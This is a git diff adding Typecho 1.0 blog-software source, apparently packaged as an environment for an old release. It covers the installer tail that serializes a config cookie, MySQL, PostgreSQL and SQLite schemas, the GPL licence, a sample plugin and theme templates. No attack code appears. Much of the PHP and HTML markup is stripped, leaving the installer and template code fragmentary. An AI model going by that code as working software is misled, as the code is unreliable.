    '; + } + } + + if($success) { + Typecho_Cookie::set('__typecho_config', base64_encode(serialize(array_merge(array( + 'prefix' => _r('dbPrefix'), + 'userName' => _r('userName'), + 'userPassword' => _r('userPassword'), + 'userMail' => _r('userMail'), + 'adapter' => $adapter, + 'siteUrl' => _r('userUrl') + ), $dbConfig)))); + + if (_r('created')) { + header('Location: ./install.php?start'); + exit; + } + + /** 初始化配置文件 */ + $lines = array_slice(file(__FILE__), 0, 52); + $lines[] = " +/** 定义数据库参数 */ +\$db = new Typecho_Db('{$adapter}', '" . _r('dbPrefix') . "'); +\$db->addServer(" . (empty($config) ? var_export($dbConfig, true) : $config) . ", Typecho_Db::READ | Typecho_Db::WRITE); +Typecho_Db::set(\$db); +"; + $contents = implode('', $lines); + if (!Typecho_Common::isAppEngine()) { + @file_put_contents('./config.inc.php', $contents); + } + + // 创建一个用于标识的临时文件 + $_SESSION['typecho'] = 1; + + if (!file_exists('./config.inc.php')) { + ?> +

    config.inc.php 文件'); ?>
    +config.inc.php 文件, 并复制如下代码至其中'); ?>

    +

    +

    + +
      +
    • + + +

      +
    • + +
    • + + +

      +
    • +
    + + + +

    +
      +
    • + + +

      +
    • +
    • + + +

      +
    • +
    • + + +

      +
    • +
    • + + +

      +
    • +
    +
    + +

    +
    + +
    +

    +
    +

    +

    +

    +

    GPL 协议发布, 我们允许用户在 GPL 协议许可的范围内使用, 拷贝, 修改和分发此程序.'); ?> +

    +

    + +

    +
    +

    + + + 1): ?> + + +

    +
    + + +
    +
    +
    +
    + diff --git a/Typecho/1.0/php-fpm/src/install/Mysql.php b/Typecho/1.0/php-fpm/src/install/Mysql.php new file mode 100755 index 000000000..dac68993c --- /dev/null +++ b/Typecho/1.0/php-fpm/src/install/Mysql.php @@ -0,0 +1,175 @@ + + + + + +

    + + + + + + + + + + + + + +
  • + + +
  • + + + + + +
  • + + +
  • + + + + +
  • + + +

    +
  • + + + + + + +
  • + + +

    +
  • +
  • + + +
  • +
  • + + +
  • +
  • + + +
  • +
  • + + +
  • + + + +

    + +
  • + + +

    /cloudsql/typecho-gae:typecho'); ?>

    +
  • + +
  • + + +

    :/cloudsql/typecho-gae:typecho'); ?>

    +
  • + + +
  • + + +
  • +
  • + + +
  • +
  • + + +

    +
  • + + + + + + + + + + +
  • + + +

    +
  • +
  • + + +

    +
  • +
  • + + +

    +
  • +
  • + + +
  • +
  • + + +

    +
  • + + + + diff --git a/Typecho/1.0/php-fpm/src/install/Mysql.sql b/Typecho/1.0/php-fpm/src/install/Mysql.sql new file mode 100755 index 000000000..78f2ad6ae --- /dev/null +++ b/Typecho/1.0/php-fpm/src/install/Mysql.sql @@ -0,0 +1,152 @@ +-- phpMyAdmin SQL Dump +-- version 2.11.5 +-- http://www.phpmyadmin.net +-- +-- 主机: localhost +-- 生成日期: 2008 年 07 月 06 日 18:00 +-- 服务器版本: 5.0.51 +-- PHP 版本: 5.2.5 + +-- +-- 数据库: `typecho` +-- + +-- -------------------------------------------------------- + +-- +-- 表的结构 `typecho_comments` +-- + +CREATE TABLE `typecho_comments` ( + `coid` int(10) unsigned NOT NULL auto_increment, + `cid` int(10) unsigned default '0', + `created` int(10) unsigned default '0', + `author` varchar(200) default NULL, + `authorId` int(10) unsigned default '0', + `ownerId` int(10) unsigned default '0', + `mail` varchar(200) default NULL, + `url` varchar(200) default NULL, + `ip` varchar(64) default NULL, + `agent` varchar(200) default NULL, + `text` text, + `type` varchar(16) default 'comment', + `status` varchar(16) default 'approved', + `parent` int(10) unsigned default '0', + PRIMARY KEY (`coid`), + KEY `cid` (`cid`), + KEY `created` (`created`) +) ENGINE=MyISAM DEFAULT CHARSET=%charset%; + +-- -------------------------------------------------------- + +-- +-- 表的结构 `typecho_contents` +-- + +CREATE TABLE `typecho_contents` ( + `cid` int(10) unsigned NOT NULL auto_increment, + `title` varchar(200) default NULL, + `slug` varchar(200) default NULL, + `created` int(10) unsigned default '0', + `modified` int(10) unsigned default '0', + `text` text, + `order` int(10) unsigned default '0', + `authorId` int(10) unsigned default '0', + `template` varchar(32) default NULL, + `type` varchar(16) default 'post', + `status` varchar(16) default 'publish', + `password` varchar(32) default NULL, + `commentsNum` int(10) unsigned default '0', + `allowComment` char(1) default '0', + `allowPing` char(1) default '0', + `allowFeed` char(1) default '0', + `parent` int(10) unsigned default '0', + PRIMARY KEY (`cid`), + UNIQUE KEY `slug` (`slug`), + KEY `created` (`created`) +) ENGINE=MyISAM DEFAULT CHARSET=%charset%; + +-- -------------------------------------------------------- + +-- +-- 表的结构 `typecho_fields` +-- + +CREATE TABLE `typecho_fields` ( + `cid` int(10) unsigned NOT NULL, + `name` varchar(200) NOT NULL, + `type` varchar(8) default 'str', + `str_value` text, + `int_value` int(10) default '0', + `float_value` float default '0', + PRIMARY KEY (`cid`,`name`), + KEY `int_value` (`int_value`), + KEY `float_value` (`float_value`) +) ENGINE=MyISAM DEFAULT CHARSET=%charset%; + +-- -------------------------------------------------------- + +-- +-- 表的结构 `typecho_metas` +-- + +CREATE TABLE `typecho_metas` ( + `mid` int(10) unsigned NOT NULL auto_increment, + `name` varchar(200) default NULL, + `slug` varchar(200) default NULL, + `type` varchar(32) NOT NULL, + `description` varchar(200) default NULL, + `count` int(10) unsigned default '0', + `order` int(10) unsigned default '0', + `parent` int(10) unsigned default '0', + PRIMARY KEY (`mid`), + KEY `slug` (`slug`) +) ENGINE=MyISAM DEFAULT CHARSET=%charset%; + +-- -------------------------------------------------------- + +-- +-- 表的结构 `typecho_options` +-- + +CREATE TABLE `typecho_options` ( + `name` varchar(32) NOT NULL, + `user` int(10) unsigned NOT NULL default '0', + `value` text, + PRIMARY KEY (`name`,`user`) +) ENGINE=MyISAM DEFAULT CHARSET=%charset%; + +-- -------------------------------------------------------- + +-- +-- 表的结构 `typecho_relationships` +-- + +CREATE TABLE `typecho_relationships` ( + `cid` int(10) unsigned NOT NULL, + `mid` int(10) unsigned NOT NULL, + PRIMARY KEY (`cid`,`mid`) +) ENGINE=MyISAM DEFAULT CHARSET=%charset%; + +-- -------------------------------------------------------- + +-- +-- 表的结构 `typecho_users` +-- + +CREATE TABLE `typecho_users` ( + `uid` int(10) unsigned NOT NULL auto_increment, + `name` varchar(32) default NULL, + `password` varchar(64) default NULL, + `mail` varchar(200) default NULL, + `url` varchar(200) default NULL, + `screenName` varchar(32) default NULL, + `created` int(10) unsigned default '0', + `activated` int(10) unsigned default '0', + `logged` int(10) unsigned default '0', + `group` varchar(16) default 'visitor', + `authCode` varchar(64) default NULL, + PRIMARY KEY (`uid`), + UNIQUE KEY `name` (`name`), + UNIQUE KEY `mail` (`mail`) +) ENGINE=MyISAM DEFAULT CHARSET=%charset%; diff --git a/Typecho/1.0/php-fpm/src/install/Pgsql.php b/Typecho/1.0/php-fpm/src/install/Pgsql.php new file mode 100755 index 000000000..b6fc20360 --- /dev/null +++ b/Typecho/1.0/php-fpm/src/install/Pgsql.php @@ -0,0 +1,26 @@ + +
  • + + +

    +
  • +
  • + + +

    +
  • +
  • + + +

    +
  • +
  • + + +
  • +
  • + + +

    +
  • + diff --git a/Typecho/1.0/php-fpm/src/install/Pgsql.sql b/Typecho/1.0/php-fpm/src/install/Pgsql.sql new file mode 100755 index 000000000..d612bd68d --- /dev/null +++ b/Typecho/1.0/php-fpm/src/install/Pgsql.sql @@ -0,0 +1,130 @@ +-- +-- Table structure for table "typecho_comments" +-- +CREATE SEQUENCE "typecho_comments_seq"; + +CREATE TABLE "typecho_comments" ( "coid" INT NOT NULL DEFAULT nextval('typecho_comments_seq'), + "cid" INT NULL DEFAULT '0', + "created" INT NULL DEFAULT '0', + "author" VARCHAR(200) NULL DEFAULT NULL, + "authorId" INT NULL DEFAULT '0', + "ownerId" INT NULL DEFAULT '0', + "mail" VARCHAR(200) NULL DEFAULT NULL, + "url" VARCHAR(200) NULL DEFAULT NULL, + "ip" VARCHAR(64) NULL DEFAULT NULL, + "agent" VARCHAR(200) NULL DEFAULT NULL, + "text" TEXT NULL DEFAULT NULL, + "type" VARCHAR(16) NULL DEFAULT 'comment', + "status" VARCHAR(16) NULL DEFAULT 'approved', + "parent" INT NULL DEFAULT '0', + PRIMARY KEY ("coid") +); + +CREATE INDEX "typecho_comments_cid" ON "typecho_comments" ("cid"); +CREATE INDEX "typecho_comments_created" ON "typecho_comments" ("created"); + + +-- +-- Table structure for table "typecho_contents" +-- + +CREATE SEQUENCE "typecho_contents_seq"; + +CREATE TABLE "typecho_contents" ( "cid" INT NOT NULL DEFAULT nextval('typecho_contents_seq'), + "title" VARCHAR(200) NULL DEFAULT NULL, + "slug" VARCHAR(200) NULL DEFAULT NULL, + "created" INT NULL DEFAULT '0', + "modified" INT NULL DEFAULT '0', + "text" TEXT NULL DEFAULT NULL, + "order" INT NULL DEFAULT '0', + "authorId" INT NULL DEFAULT '0', + "template" VARCHAR(32) NULL DEFAULT NULL, + "type" VARCHAR(16) NULL DEFAULT 'post', + "status" VARCHAR(16) NULL DEFAULT 'publish', + "password" VARCHAR(32) NULL DEFAULT NULL, + "commentsNum" INT NULL DEFAULT '0', + "allowComment" CHAR(1) NULL DEFAULT '0', + "allowPing" CHAR(1) NULL DEFAULT '0', + "allowFeed" CHAR(1) NULL DEFAULT '0', + "parent" INT NULL DEFAULT '0', + PRIMARY KEY ("cid"), + UNIQUE ("slug") +); + +CREATE INDEX "typecho_contents_created" ON "typecho_contents" ("created"); + +-- +-- Table structure for table "typecho_fields" +-- + +CREATE TABLE "typecho_fields" ("cid" INT NOT NULL, + "name" VARCHAR(200) NOT NULL, + "type" VARCHAR(8) NULL DEFAULT 'str', + "str_value" TEXT NULL DEFAULT NULL, + "int_value" INT NULL DEFAULT '0', + "float_value" REAL NULL DEFAULT '0', + PRIMARY KEY ("cid","name") +); + +CREATE INDEX "typecho_fields_int_value" ON "typecho_fields" ("int_value"); +CREATE INDEX "typecho_fields_float_value" ON "typecho_fields" ("float_value"); + +-- +-- Table structure for table "typecho_metas" +-- + +CREATE SEQUENCE "typecho_metas_seq"; + +CREATE TABLE "typecho_metas" ( "mid" INT NOT NULL DEFAULT nextval('typecho_metas_seq'), + "name" VARCHAR(200) NULL DEFAULT NULL, + "slug" VARCHAR(200) NULL DEFAULT NULL, + "type" VARCHAR(16) NOT NULL DEFAULT '', + "description" VARCHAR(200) NULL DEFAULT NULL, + "count" INT NULL DEFAULT '0', + "order" INT NULL DEFAULT '0', + "parent" INT NULL DEFAULT '0', + PRIMARY KEY ("mid") +); + +CREATE INDEX "typecho_metas_slug" ON "typecho_metas" ("slug"); + + +-- +-- Table structure for table "typecho_options" +-- + +CREATE TABLE "typecho_options" ( "name" VARCHAR(32) NOT NULL DEFAULT '', + "user" INT NOT NULL DEFAULT '0', + "value" TEXT NULL DEFAULT NULL, + PRIMARY KEY ("name","user") +); + +-- +-- Table structure for table "typecho_relationships" +-- + +CREATE TABLE "typecho_relationships" ( "cid" INT NOT NULL DEFAULT '0', + "mid" INT NOT NULL DEFAULT '0', + PRIMARY KEY ("cid","mid") +); + +-- +-- Table structure for table "typecho_users" +-- +CREATE SEQUENCE "typecho_users_seq"; + +CREATE TABLE "typecho_users" ( "uid" INT NOT NULL DEFAULT nextval('typecho_users_seq') , + "name" VARCHAR(32) NULL DEFAULT NULL, + "password" VARCHAR(64) NULL DEFAULT NULL, + "mail" VARCHAR(200) NULL DEFAULT NULL, + "url" VARCHAR(200) NULL DEFAULT NULL, + "screenName" VARCHAR(32) NULL DEFAULT NULL, + "created" INT NULL DEFAULT '0', + "activated" INT NULL DEFAULT '0', + "logged" INT NULL DEFAULT '0', + "group" VARCHAR(16) NULL DEFAULT 'visitor', + "authCode" VARCHAR(64) NULL DEFAULT NULL, + PRIMARY KEY ("uid"), + UNIQUE ("name"), + UNIQUE ("mail") +); diff --git a/Typecho/1.0/php-fpm/src/install/SQLite.php b/Typecho/1.0/php-fpm/src/install/SQLite.php new file mode 100755 index 000000000..ec0fa6611 --- /dev/null +++ b/Typecho/1.0/php-fpm/src/install/SQLite.php @@ -0,0 +1,7 @@ + + +
  • + + +

    +
  • diff --git a/Typecho/1.0/php-fpm/src/install/SQLite.sql b/Typecho/1.0/php-fpm/src/install/SQLite.sql new file mode 100755 index 000000000..80d53d614 --- /dev/null +++ b/Typecho/1.0/php-fpm/src/install/SQLite.sql @@ -0,0 +1,87 @@ +CREATE TABLE typecho_comments ( "coid" INTEGER NOT NULL PRIMARY KEY, +"cid" int(10) default '0' , +"created" int(10) default '0' , +"author" varchar(200) default NULL , +"authorId" int(10) default '0' , +"ownerId" int(10) default '0' , +"mail" varchar(200) default NULL , +"url" varchar(200) default NULL , +"ip" varchar(64) default NULL , +"agent" varchar(200) default NULL , +"text" text , +"type" varchar(16) default 'comment' , +"status" varchar(16) default 'approved' , +"parent" int(10) default '0' ); + +CREATE INDEX typecho_comments_cid ON typecho_comments ("cid"); +CREATE INDEX typecho_comments_created ON typecho_comments ("created"); + +CREATE TABLE typecho_contents ( "cid" INTEGER NOT NULL PRIMARY KEY, +"title" varchar(200) default NULL , +"slug" varchar(200) default NULL , +"created" int(10) default '0' , +"modified" int(10) default '0' , +"text" text , +"order" int(10) default '0' , +"authorId" int(10) default '0' , +"template" varchar(32) default NULL , +"type" varchar(16) default 'post' , +"status" varchar(16) default 'publish' , +"password" varchar(32) default NULL , +"commentsNum" int(10) default '0' , +"allowComment" char(1) default '0' , +"allowPing" char(1) default '0' , +"allowFeed" char(1) default '0' , +"parent" int(10) default '0' ); + +CREATE UNIQUE INDEX typecho_contents_slug ON typecho_contents ("slug"); +CREATE INDEX typecho_contents_created ON typecho_contents ("created"); + +CREATE TABLE "typecho_fields" ("cid" INTEGER NOT NULL, + "name" varchar(200) NOT NULL, + "type" varchar(8) default 'str', + "str_value" text, + "int_value" int(10) default '0', + "float_value" real default '0' +); + +CREATE UNIQUE INDEX typecho_fields_cid_name ON typecho_fields ("cid", "name"); +CREATE INDEX typecho_fields_int_value ON typecho_fields ("int_value"); +CREATE INDEX typecho_fields_float_value ON typecho_fields ("float_value"); + +CREATE TABLE typecho_metas ( "mid" INTEGER NOT NULL PRIMARY KEY, +"name" varchar(200) default NULL , +"slug" varchar(200) default NULL , +"type" varchar(32) NOT NULL , +"description" varchar(200) default NULL , +"count" int(10) default '0' , +"order" int(10) default '0' , +"parent" int(10) default '0'); + +CREATE INDEX typecho_metas_slug ON typecho_metas ("slug"); + +CREATE TABLE typecho_options ( "name" varchar(32) NOT NULL , +"user" int(10) NOT NULL default '0' , +"value" text ); + +CREATE UNIQUE INDEX typecho_options_name_user ON typecho_options ("name", "user"); + +CREATE TABLE typecho_relationships ( "cid" int(10) NOT NULL , +"mid" int(10) NOT NULL ); + +CREATE UNIQUE INDEX typecho_relationships_cid_mid ON typecho_relationships ("cid", "mid"); + +CREATE TABLE typecho_users ( "uid" INTEGER NOT NULL PRIMARY KEY, +"name" varchar(32) default NULL , +"password" varchar(64) default NULL , +"mail" varchar(200) default NULL , +"url" varchar(200) default NULL , +"screenName" varchar(32) default NULL , +"created" int(10) default '0' , +"activated" int(10) default '0' , +"logged" int(10) default '0' , +"group" varchar(16) default 'visitor' , +"authCode" varchar(64) default NULL); + +CREATE UNIQUE INDEX typecho_users_name ON typecho_users ("name"); +CREATE UNIQUE INDEX typecho_users_mail ON typecho_users ("mail"); diff --git a/Typecho/1.0/php-fpm/src/license.txt b/Typecho/1.0/php-fpm/src/license.txt new file mode 100755 index 000000000..0e77e74f5 --- /dev/null +++ b/Typecho/1.0/php-fpm/src/license.txt @@ -0,0 +1,282 @@ +The GNU General Public License (GPL) +Version 2, June 1991 + +Copyright (C) 1989, 1991 Free Software Foundation, Inc. + +59 Temple Place, Suite 330, Boston, MA 02111-1307 USA + +Everyone is permitted to copy and distribute verbatim copies + +of this license document, but changing it is not allowed. + +Preamble + +The licenses for most software are designed to take away your +freedom to share and change it. By contrast, the GNU General Public +License is intended to guarantee your freedom to share and change free +software--to make sure the software is free for all its users. This +General Public License applies to most of the Free Software +Foundation's software and to any other program whose authors commit to +using it. (Some other Free Software Foundation software is covered by +the GNU Library General Public License instead.) You can apply it to +your programs, too. + +When we speak of free software, we are referring to freedom, not +price. Our General Public Licenses are designed to make sure that you +have the freedom to distribute copies of free software (and charge for +this service if you wish), that you receive source code or can get it +if you want it, that you can change the software or use pieces of it +in new free programs; and that you know you can do these things. + +To protect your rights, we need to make restrictions that forbid +anyone to deny you these rights or to ask you to surrender the rights. +These restrictions translate to certain responsibilities for you if you +distribute copies of the software, or if you modify it. + +For example, if you distribute copies of such a program, whether +gratis or for a fee, you must give the recipients all the rights that +you have. You must make sure that they, too, receive or can get the +source code. And you must show them these terms so they know their +rights. + +We protect your rights with two steps: (1) copyright the software, and +(2) offer you this license which gives you legal permission to copy, +distribute and/or modify the software. + +Also, for each author's protection and ours, we want to make certain +that everyone understands that there is no warranty for this free +software. If the software is modified by someone else and passed on, we +want its recipients to know that what they have is not the original, so +that any problems introduced by others will not reflect on the original +authors' reputations. + +Finally, any free program is threatened constantly by software +patents. We wish to avoid the danger that redistributors of a free +program will individually obtain patent licenses, in effect making the +program proprietary. To prevent this, we have made it clear that any +patent must be licensed for everyone's free use or not licensed at all. + +The precise terms and conditions for copying, distribution and +modification follow. + +TERMS AND CONDITIONS FOR COPYING, DISTRIBUTION AND MODIFICATION + +0. This License applies to any program or other work which contains +a notice placed by the copyright holder saying it may be distributed +under the terms of this General Public License. The "Program", below, +refers to any such program or work, and a "work based on the Program" +means either the Program or any derivative work under copyright law: +that is to say, a work containing the Program or a portion of it, +either verbatim or with modifications and/or translated into another +language. (Hereinafter, translation is included without limitation in +the term "modification".) Each licensee is addressed as "you". + +Activities other than copying, distribution and modification are not +covered by this License; they are outside its scope. The act of +running the Program is not restricted, and the output from the Program +is covered only if its contents constitute a work based on the +Program (independent of having been made by running the Program). +Whether that is true depends on what the Program does. + +1. You may copy and distribute verbatim copies of the Program's +source code as you receive it, in any medium, provided that you +conspicuously and appropriately publish on each copy an appropriate +copyright notice and disclaimer of warranty; keep intact all the +notices that refer to this License and to the absence of any warranty; +and give any other recipients of the Program a copy of this License +along with the Program. + +You may charge a fee for the physical act of transferring a copy, and +you may at your option offer warranty protection in exchange for a fee. + +2. You may modify your copy or copies of the Program or any portion +of it, thus forming a work based on the Program, and copy and +distribute such modifications or work under the terms of Section 1 +above, provided that you also meet all of these conditions: + + a) You must cause the modified files to carry prominent notices + stating that you changed the files and the date of any change. + + b) You must cause any work that you distribute or publish, that in + whole or in part contains or is derived from the Program or any + part thereof, to be licensed as a whole at no charge to all third + parties under the terms of this License. + + c) If the modified program normally reads commands interactively + when run, you must cause it, when started running for such + interactive use in the most ordinary way, to print or display an + announcement including an appropriate copyright notice and a + notice that there is no warranty (or else, saying that you provide + a warranty) and that users may redistribute the program under + these conditions, and telling the user how to view a copy of this + License. (Exception: if the Program itself is interactive but + does not normally print such an announcement, your work based on + the Program is not required to print an announcement.) + +These requirements apply to the modified work as a whole. If +identifiable sections of that work are not derived from the Program, +and can be reasonably considered independent and separate works in +themselves, then this License, and its terms, do not apply to those +sections when you distribute them as separate works. But when you +distribute the same sections as part of a whole which is a work based +on the Program, the distribution of the whole must be on the terms of +this License, whose permissions for other licensees extend to the +entire whole, and thus to each and every part regardless of who wrote it. + +Thus, it is not the intent of this section to claim rights or contest +your rights to work written entirely by you; rather, the intent is to +exercise the right to control the distribution of derivative or +collective works based on the Program. + +In addition, mere aggregation of another work not based on the Program +with the Program (or with a work based on the Program) on a volume of +a storage or distribution medium does not bring the other work under +the scope of this License. + +3. You may copy and distribute the Program (or a work based on it, +under Section 2) in object code or executable form under the terms of +Sections 1 and 2 above provided that you also do one of the following: + + a) Accompany it with the complete corresponding machine-readable + source code, which must be distributed under the terms of Sections + 1 and 2 above on a medium customarily used for software interchange; or, + + b) Accompany it with a written offer, valid for at least three + years, to give any third party, for a charge no more than your + cost of physically performing source distribution, a complete + machine-readable copy of the corresponding source code, to be + distributed under the terms of Sections 1 and 2 above on a medium + customarily used for software interchange; or, + + c) Accompany it with the information you received as to the offer + to distribute corresponding source code. (This alternative is + allowed only for noncommercial distribution and only if you + received the program in object code or executable form with such + an offer, in accord with Subsection b above.) + +The source code for a work means the preferred form of the work for +making modifications to it. For an executable work, complete source +code means all the source code for all modules it contains, plus any +associated interface definition files, plus the scripts used to +control compilation and installation of the executable. However, as a +special exception, the source code distributed need not include +anything that is normally distributed (in either source or binary +form) with the major components (compiler, kernel, and so on) of the +operating system on which the executable runs, unless that component +itself accompanies the executable. + +If distribution of executable or object code is made by offering +access to copy from a designated place, then offering equivalent +access to copy the source code from the same place counts as +distribution of the source code, even though third parties are not +compelled to copy the source along with the object code. + +4. You may not copy, modify, sublicense, or distribute the Program +except as expressly provided under this License. Any attempt +otherwise to copy, modify, sublicense or distribute the Program is +void, and will automatically terminate your rights under this License. +However, parties who have received copies, or rights, from you under +this License will not have their licenses terminated so long as such +parties remain in full compliance. + +5. You are not required to accept this License, since you have not +signed it. However, nothing else grants you permission to modify or +distribute the Program or its derivative works. These actions are +prohibited by law if you do not accept this License. Therefore, by +modifying or distributing the Program (or any work based on the +Program), you indicate your acceptance of this License to do so, and +all its terms and conditions for copying, distributing or modifying +the Program or works based on it. + +6. Each time you redistribute the Program (or any work based on the +Program), the recipient automatically receives a license from the +original licensor to copy, distribute or modify the Program subject to +these terms and conditions. You may not impose any further +restrictions on the recipients' exercise of the rights granted herein. +You are not responsible for enforcing compliance by third parties to +this License. + +7. If, as a consequence of a court judgment or allegation of patent +infringement or for any other reason (not limited to patent issues), +conditions are imposed on you (whether by court order, agreement or +otherwise) that contradict the conditions of this License, they do not +excuse you from the conditions of this License. If you cannot +distribute so as to satisfy simultaneously your obligations under this +License and any other pertinent obligations, then as a consequence you +may not distribute the Program at all. For example, if a patent +license would not permit royalty-free redistribution of the Program by +all those who receive copies directly or indirectly through you, then +the only way you could satisfy both it and this License would be to +refrain entirely from distribution of the Program. + +If any portion of this section is held invalid or unenforceable under +any particular circumstance, the balance of the section is intended to +apply and the section as a whole is intended to apply in other +circumstances. + +It is not the purpose of this section to induce you to infringe any +patents or other property right claims or to contest validity of any +such claims; this section has the sole purpose of protecting the +integrity of the free software distribution system, which is +implemented by public license practices. Many people have made +generous contributions to the wide range of software distributed +through that system in reliance on consistent application of that +system; it is up to the author/donor to decide if he or she is willing +to distribute software through any other system and a licensee cannot +impose that choice. + +This section is intended to make thoroughly clear what is believed to +be a consequence of the rest of this License. + +8. If the distribution and/or use of the Program is restricted in +certain countries either by patents or by copyrighted interfaces, the +original copyright holder who places the Program under this License +may add an explicit geographical distribution limitation excluding +those countries, so that distribution is permitted only in or among +countries not thus excluded. In such case, this License incorporates +the limitation as if written in the body of this License. + +9. The Free Software Foundation may publish revised and/or new versions +of the General Public License from time to time. Such new versions will +be similar in spirit to the present version, but may differ in detail to +address new problems or concerns. + +Each version is given a distinguishing version number. If the Program +specifies a version number of this License which applies to it and "any +later version", you have the option of following the terms and conditions +either of that version or of any later version published by the Free +Software Foundation. If the Program does not specify a version number of +this License, you may choose any version ever published by the Free Software +Foundation. + +10. If you wish to incorporate parts of the Program into other free +programs whose distribution conditions are different, write to the author +to ask for permission. For software which is copyrighted by the Free +Software Foundation, write to the Free Software Foundation; we sometimes +make exceptions for this. Our decision will be guided by the two goals +of preserving the free status of all derivatives of our free software and +of promoting the sharing and reuse of software generally. + +NO WARRANTY + +11. BECAUSE THE PROGRAM IS LICENSED FREE OF CHARGE, THERE IS NO WARRANTY +FOR THE PROGRAM, TO THE EXTENT PERMITTED BY APPLICABLE LAW. EXCEPT WHEN +OTHERWISE STATED IN WRITING THE COPYRIGHT HOLDERS AND/OR OTHER PARTIES +PROVIDE THE PROGRAM "AS IS" WITHOUT WARRANTY OF ANY KIND, EITHER EXPRESSED +OR IMPLIED, INCLUDING, BUT NOT LIMITED TO, THE IMPLIED WARRANTIES OF +MERCHANTABILITY AND FITNESS FOR A PARTICULAR PURPOSE. THE ENTIRE RISK AS +TO THE QUALITY AND PERFORMANCE OF THE PROGRAM IS WITH YOU. SHOULD THE +PROGRAM PROVE DEFECTIVE, YOU ASSUME THE COST OF ALL NECESSARY SERVICING, +REPAIR OR CORRECTION. + +12. IN NO EVENT UNLESS REQUIRED BY APPLICABLE LAW OR AGREED TO IN WRITING +WILL ANY COPYRIGHT HOLDER, OR ANY OTHER PARTY WHO MAY MODIFY AND/OR +REDISTRIBUTE THE PROGRAM AS PERMITTED ABOVE, BE LIABLE TO YOU FOR DAMAGES, +INCLUDING ANY GENERAL, SPECIAL, INCIDENTAL OR CONSEQUENTIAL DAMAGES ARISING +OUT OF THE USE OR INABILITY TO USE THE PROGRAM (INCLUDING BUT NOT LIMITED +TO LOSS OF DATA OR DATA BEING RENDERED INACCURATE OR LOSSES SUSTAINED BY +YOU OR THIRD PARTIES OR A FAILURE OF THE PROGRAM TO OPERATE WITH ANY OTHER +PROGRAMS), EVEN IF SUCH HOLDER OR OTHER PARTY HAS BEEN ADVISED OF THE +POSSIBILITY OF SUCH DAMAGES. + +END OF TERMS AND CONDITIONS \ No newline at end of file diff --git a/Typecho/1.0/php-fpm/src/usr/plugins/HelloWorld/Plugin.php b/Typecho/1.0/php-fpm/src/usr/plugins/HelloWorld/Plugin.php new file mode 100755 index 000000000..6425858a7 --- /dev/null +++ b/Typecho/1.0/php-fpm/src/usr/plugins/HelloWorld/Plugin.php @@ -0,0 +1,70 @@ +navBar = array('HelloWorld_Plugin', 'render'); + } + + /** + * 禁用插件方法,如果禁用失败,直接抛出异常 + * + * @static + * @access public + * @return void + * @throws Typecho_Plugin_Exception + */ + public static function deactivate(){} + + /** + * 获取插件配置面板 + * + * @access public + * @param Typecho_Widget_Helper_Form $form 配置面板 + * @return void + */ + public static function config(Typecho_Widget_Helper_Form $form) + { + /** 分类名称 */ + $name = new Typecho_Widget_Helper_Form_Element_Text('word', NULL, 'Hello World', _t('说点什么')); + $form->addInput($name); + } + + /** + * 个人用户的配置面板 + * + * @access public + * @param Typecho_Widget_Helper_Form $form + * @return void + */ + public static function personalConfig(Typecho_Widget_Helper_Form $form){} + + /** + * 插件实现方法 + * + * @access public + * @return void + */ + public static function render() + { + echo '' + . htmlspecialchars(Typecho_Widget::widget('Widget_Options')->plugin('HelloWorld')->word) + . ''; + } +} diff --git a/Typecho/1.0/php-fpm/src/usr/themes/default/404.php b/Typecho/1.0/php-fpm/src/usr/themes/default/404.php new file mode 100755 index 000000000..6a2a21059 --- /dev/null +++ b/Typecho/1.0/php-fpm/src/usr/themes/default/404.php @@ -0,0 +1,16 @@ + +need('header.php'); ?> + +
    + +
    +

    404 -

    +

    +
    +

    +

    +
    +
    + +
    + need('footer.php'); ?> diff --git a/Typecho/1.0/php-fpm/src/usr/themes/default/archive.php b/Typecho/1.0/php-fpm/src/usr/themes/default/archive.php new file mode 100755 index 000000000..cc5f99115 --- /dev/null +++ b/Typecho/1.0/php-fpm/src/usr/themes/default/archive.php @@ -0,0 +1,36 @@ + +need('header.php'); ?> + +
    +

    archiveTitle(array( + 'category' => _t('分类 %s 下的文章'), + 'search' => _t('包含关键字 %s 的文章'), + 'tag' => _t('标签 %s 下的文章'), + 'author' => _t('%s 发布的文章') + ), '', ''); ?>

    + have()): ?> + next()): ?> + + + +
    +

    +
    + + + pageNav('« 前一页', '后一页 »'); ?> +
    + + need('sidebar.php'); ?> + need('footer.php'); ?> diff --git a/Typecho/1.0/php-fpm/src/usr/themes/default/comments.php b/Typecho/1.0/php-fpm/src/usr/themes/default/comments.php new file mode 100755 index 000000000..709d0b91c --- /dev/null +++ b/Typecho/1.0/php-fpm/src/usr/themes/default/comments.php @@ -0,0 +1,49 @@ + +
    + comments()->to($comments); ?> + have()): ?> +

    commentsNum(_t('暂无评论'), _t('仅有一条评论'), _t('已有 %d 条评论')); ?>

    + + listComments(); ?> + + pageNav('« 前一页', '后一页 »'); ?> + + + + allow('comment')): ?> +
    +
    + cancelReply(); ?> +
    + +

    +
    + user->hasLogin()): ?> +

    user->screenName(); ?>. »

    + +

    + + +

    +

    + + options->commentsRequireMail): ?> required /> +

    +

    + + options->commentsRequireURL): ?> required /> +

    + +

    + + +

    +

    + +

    +
    +
    + +

    + +
    diff --git a/Typecho/1.0/php-fpm/src/usr/themes/default/footer.php b/Typecho/1.0/php-fpm/src/usr/themes/default/footer.php new file mode 100755 index 000000000..347cd197c --- /dev/null +++ b/Typecho/1.0/php-fpm/src/usr/themes/default/footer.php @@ -0,0 +1,14 @@ + + + + + + + + +footer(); ?> + + diff --git a/Typecho/1.0/php-fpm/src/usr/themes/default/functions.php b/Typecho/1.0/php-fpm/src/usr/themes/default/functions.php new file mode 100755 index 000000000..77b4855fc --- /dev/null +++ b/Typecho/1.0/php-fpm/src/usr/themes/default/functions.php @@ -0,0 +1,26 @@ +addInput($logoUrl); + + $sidebarBlock = new Typecho_Widget_Helper_Form_Element_Checkbox('sidebarBlock', + array('ShowRecentPosts' => _t('显示最新文章'), + 'ShowRecentComments' => _t('显示最近回复'), + 'ShowCategory' => _t('显示分类'), + 'ShowArchive' => _t('显示归档'), + 'ShowOther' => _t('显示其它杂项')), + array('ShowRecentPosts', 'ShowRecentComments', 'ShowCategory', 'ShowArchive', 'ShowOther'), _t('侧边栏显示')); + + $form->addInput($sidebarBlock->multiMode()); +} + + +/* +function themeFields($layout) { + $logoUrl = new Typecho_Widget_Helper_Form_Element_Text('logoUrl', NULL, NULL, _t('站点LOGO地址'), _t('在这里填入一个图片URL地址, 以在网站标题前加上一个LOGO')); + $layout->addItem($logoUrl); +} +*/ + diff --git a/Typecho/1.0/php-fpm/src/usr/themes/default/grid.css 